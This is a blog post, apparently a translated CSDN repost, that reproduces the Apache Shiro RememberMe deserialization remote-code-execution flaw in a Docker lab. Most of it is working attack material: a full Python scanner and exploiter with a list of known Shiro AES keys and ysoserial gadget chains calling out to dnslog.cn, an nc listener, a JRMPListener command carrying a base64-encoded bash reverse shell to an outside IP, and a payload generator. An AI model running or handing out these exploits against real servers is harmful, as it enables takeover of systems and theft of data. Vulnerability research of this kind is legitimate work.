Shiro deserialization vulnerability reproduced

Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, password and session management.
How it works
Shiro's remember user session function
Get the value of RememberMe —> Base64 decryption —> ASE decryption —> Deserialization

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

Vulnerability principleBecause
it will not be filtered during deserialization, it will cause security problems if malicious code is passed
in. Before version 1.2.4, it is the default ASE key, Key: kPH+bIxk5D2deZiIxcaaaA==, you can directly Deserialize execution of malicious code
. After 1.2.4, the ASE secret key is no longer the default. You need to obtain the Key to reproduce the penetration
vulnerability.

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
访问 http://127.0.0.1:8081即可

Vulnerability scan: shiro_scan.py

#! python2.7
import os
import re
import base64
import uuid
import subprocess
import requests
import sys
import json
import time
import random
import argparse
from Crypto.Cipher import AES

JAR_FILE = 'ysoserial.jar'

CipherKeys = [
    "kPH+bIxk5D2deZiIxcaaaA==",
    "4AvVhmFLUs0KTA3Kprsdag==",
    "3AvVhmFLUs0KTA3Kprsdag==",
    "2AvVhdsgUs0FSA3SDFAdag==",
    "6ZmI6I2j5Y+R5aSn5ZOlAA==",
    "wGiHplamyXlVB11UXWol8g==",
    "cmVtZW1iZXJNZQAAAAAAAA==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "ZnJlc2h6Y24xMjM0NTY3OA==",
    "L7RioUULEFhRyxM7a2R/Yg==",
    "RVZBTk5JR0hUTFlfV0FPVQ==",
    "fCq+/xW488hMTCD+cmJ3aQ==",
    "WkhBTkdYSUFPSEVJX0NBVA==",
    "1QWLxg+NYmxraMoxAXu/Iw==",
    "WcfHGU25gNnTxTlmJMeSpw==",
    "a2VlcE9uR29pbmdBbmRGaQ==",
    "bWluZS1hc3NldC1rZXk6QQ==",
    "5aaC5qKm5oqA5pyvAAAAAA==",
    #"ZWvohmPdUsAWT3=KpPqda",
    "r0e3c16IdVkouZgk1TKVMg==",
    "ZUdsaGJuSmxibVI2ZHc9PQ==",
    "U3ByaW5nQmxhZGUAAAAAAA==",
    "LEGEND-CAMPUS-CIPHERKEY=="
    #"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",
    ]

gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]

session = requests.Session()
def genpayload(params, CipherKey,fp):
    gadget,command = params
    if not os.path.exists(fp):
        raise Exception('jar file not found')
    popen = subprocess.Popen(['java','-jar',fp,gadget,command],
                            stdout=subprocess.PIPE)
    BS = AES.block_size
    #print(command)
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    #key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(CipherKey), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

def getdomain():
    try :
        ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text
    except Exception as e:
        print("getdomain error:" + str(e))
        ret = "error"
        pass
    return ret

def getrecord():
    try :
        ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text
        #print(ret)
    except Exception as e:
        print("getrecord error:" + str(e))
        ret = "error"
        pass
    return ret

def check(url):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url

    print("checking url:" + url)

    domain = getdnshost()
    if domain:
        reversehost = "http://" + domain

        for CipherKey in CipherKeys:
            ret = {
    
    "vul":False,"CipherKey":"","url":target}

            try:
                print("try CipherKey :" +CipherKey)

                payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)

                print("generator payload done.")

                r = requests.get(target,cookies={
    
    'rememberMe': payload.decode()},timeout=10)

                print("send payload ok.")
                for i in range(1,5):
                    print("checking.....")

                    time.sleep(2)
                    temp = getrecord()
                    if domain in temp:
                        ret["vul"] = True
                        ret["CipherKey"] = CipherKey
                        break
            except Exception as e:
                print(str(e))
                pass
            if ret["vul"]:
                break
    else:
        print("get dns host error")
    return ret

def exploit(url,gadget,params,CipherKey):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = genpayload((gadget, params),CipherKey,JAR_FILE)
        r = requests.get(target,cookies={
    
    'rememberMe': payload.decode()},timeout=10)
        print(r.text)
    except Exception as e:
        print("exploit error:" + str(e))
        pass

def getdnshost():
    reversehost = ""
    try :
        domain = getdomain()
        if domain=="error":
            print("getdomain error")
        else:
            #reversehost = "http://" +domain
            reversehost = domain
            #print("got reversehost : " + reversehost)
    except:
        pass
    return reversehost

def detector(url,CipherKey,command):
    result = []
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        for g in gadgets:
            g = g.strip()

            domain = getdnshost()
            if domain:
                if g == "JRMPClient":
                    param = "%s:80" % domain
                else:
                    param = command.replace("{dnshost}",domain)
                payload = genpayload((g, param),CipherKey,JAR_FILE)
                print(g + " testing.....")
                r = requests.get(target,cookies={
    
    'rememberMe': payload.decode()},timeout=10)
                #print(r.read())
                for i in range(1,5):
                    #print("checking.....")
                    time.sleep(2)
                    temp = getrecord()
                    if domain in temp:
                        ret = g
                        #ret["CipherKey"] = CipherKey
                        result.append(ret)
                        print("found gadget:\t" + g)
                        break
            else:
                print("get dns host error")
                    #break
        #print(r.text)
    except Exception as e:
        print("detector error:" + str(e))
        pass
    return result

def parser_error(errmsg):
    print("Usage: python " + sys.argv[0] + " [Options] use -h for help")
    sys.exit()

def parse_args():
    # parse the arguments
    parser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target")
    parser.error = parser_error
    parser._optionals.title = "OPTIONS"
    parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True)
    parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False)
    parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False)
    parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False)
    parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False)
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()
    url = args.url
    type = args.type
    command = args.params
    key = args.key
    gadget = args.gadget
    if type=="1":
        r = check(url)
        print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"]))
    elif type=="2":
        exploit(url,gadget,command,key)
        print("exploit done.")
    elif type=="3":
        
        r = detector(url,key,command)
        if r :
            print("found gadget:\n")
            print(r)
    else:
        print("invalid type")

Insert picture description here
Scan according to the key in the script and return the key

Exploit the vulnerability to obtain a shell

Use jackson encoding http://www.jackson-t.ca/runtime-exec-payloads.html
Insert picture description here
nc to monitor the port of the reverse shell

nc -lvp 1234

Use JRMP monitoring of ysoserial.jar (monitoring on local or vps)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjguMTEuMTU5LzExMjMgMD4mMQ==}|{base64,-d}|{bash,-i}"

Generate payload exp: shiro_exp.py

# -*- coding: utf-8 -*-
import uuid
import base64
import subprocess
import sys
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    # 密钥使用检测成功的密钥
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())
python2 shiro_exp.py 10.228.11.159:6666 意思是把shell反弹到vsp(你的本机)上的6666端口

Insert picture description here

burp request
Insert picture description here
successfully obtained shell
Insert picture description here

Guess you like

Origin blog.csdn.net/weixin_45682070/article/details/108150265